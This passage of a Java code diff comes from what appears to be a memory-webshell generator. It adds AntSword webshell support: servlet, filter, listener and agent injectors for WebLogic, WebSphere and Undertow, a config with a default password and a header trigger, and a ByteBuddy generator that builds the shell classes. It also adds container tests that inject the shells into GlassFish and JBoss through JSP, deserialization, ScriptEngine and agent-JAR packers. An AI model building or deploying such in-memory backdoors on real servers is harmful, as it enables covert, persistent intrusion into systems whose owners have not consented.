map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
@@ -71,4 +75,14 @@ public class WebLogicShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
||||
@@ -71,4 +75,14 @@ public class WebSphereShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
|
||||
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class AntSwordConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
}
|
||||
@@ -24,4 +24,9 @@ public enum ShellTool {
|
||||
* Suo5 隧道代理
|
||||
*/
|
||||
Suo5,
|
||||
|
||||
/**
|
||||
* 蚁剑
|
||||
*/
|
||||
AntSword,
|
||||
}
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final AntSwordConfig antSwordConfig;
|
||||
|
||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.antSwordConfig = antSwordConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (antSwordConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(antSwordConfig.getPass())) {
|
||||
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
|
||||
}
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(antSwordConfig.getShellClass())
|
||||
.name(antSwordConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(Map.of(
|
||||
"pass", antSwordConfig.getPass(),
|
||||
"headerName", antSwordConfig.getHeaderName(),
|
||||
"headerValue", antSwordConfig.getHeaderValue()
|
||||
))
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -11,6 +11,7 @@ dependencies {
|
||||
testImplementation project(":tools:behinder")
|
||||
testImplementation project(":tools:godzilla")
|
||||
testImplementation project(":tools:suo5")
|
||||
testImplementation project(":tools:ant-sword")
|
||||
testImplementation project(':generator')
|
||||
|
||||
testImplementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
+22
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.antsword.AntSwordManager;
|
||||
import com.reajason.javaweb.behinder.BehinderManager;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||
@@ -92,6 +93,9 @@ public class ShellAssertionTool {
|
||||
case Suo5:
|
||||
testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case AntSword:
|
||||
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -137,6 +141,15 @@ public class ShellAssertionTool {
|
||||
assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
|
||||
}
|
||||
|
||||
public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
|
||||
AntSwordManager antSwordManager = AntSwordManager.builder()
|
||||
.entrypoint(entrypoint)
|
||||
.pass(shellConfig.getPass())
|
||||
.header(shellConfig.getHeaderName()
|
||||
, shellConfig.getHeaderValue()).build();
|
||||
assertTrue(antSwordManager.getInfo().contains("ok"));
|
||||
}
|
||||
|
||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
@@ -185,6 +198,15 @@ public class ShellAssertionTool {
|
||||
.build();
|
||||
log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
|
||||
break;
|
||||
case AntSword:
|
||||
String antPassword = "ant";
|
||||
shellToolConfig = AntSwordConfig.builder()
|
||||
.pass(antPassword)
|
||||
.headerName("User-Agent")
|
||||
.headerValue(uniqueName)
|
||||
.build();
|
||||
log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
|
||||
break;
|
||||
}
|
||||
return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
+8
@@ -57,6 +57,8 @@ public class GlassFish3ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -65,6 +67,8 @@ public class GlassFish3ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -73,9 +77,13 @@ public class GlassFish3ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+8
@@ -58,6 +58,8 @@ public class GlassFish4ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +68,8 @@ public class GlassFish4ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -74,9 +78,13 @@ public class GlassFish4ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+8
@@ -50,6 +50,8 @@ public class GlassFish501ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class GlassFish501ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,9 +70,13 @@ public class GlassFish501ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+11
@@ -53,6 +53,9 @@ public class GlassFish510ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -64,6 +67,9 @@ public class GlassFish510ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -75,9 +81,14 @@ public class GlassFish510ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+8
@@ -50,6 +50,8 @@ public class Jboss423ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Jboss423ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,9 +70,13 @@ public class Jboss423ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+8
@@ -51,6 +51,8 @@ public class Jboss510ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -59,6 +61,8 @@ public class Jboss510ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -67,9 +71,13 @@ public class Jboss510ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+8
@@ -50,6 +50,8 @@ public class Jboss610ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
